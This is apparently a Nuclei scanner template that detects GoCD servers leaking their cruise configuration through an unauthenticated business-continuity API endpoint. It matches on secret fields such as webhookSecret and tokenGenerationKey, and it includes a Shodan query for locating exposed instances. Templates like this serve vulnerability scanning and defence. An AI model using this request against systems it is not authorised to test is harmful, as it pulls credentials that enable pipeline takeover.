id: gocd-cruise-configuration info: name: GoCd Cruise Configuration disclosure author: dhiyaneshDk severity: high reference: - https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover - https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140 metadata: max-request: 1 shodan-query: http.title:"Create a pipeline - Go",html:"GoCD Version" tags: go,gocd,config,exposure,misconfig http: - method: GET path: - "{{BaseURL}}/go/add-on/business-continuity/api/cruise_config" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "server agentAutoRegisterKey" - "webhookSecret" - "tokenGenerationKey" condition: and # digest: 4b0a00483046022100ea21160e55b20729fd6c2b747e8c28109f8bdee13e97ca11d5630ddc72ed5c47022100ef245e8920896e3551f5e6f567a6bce25d907312e05b34902c5c1eb18f2766d0:922c64590222798bb761d5b6d8e72950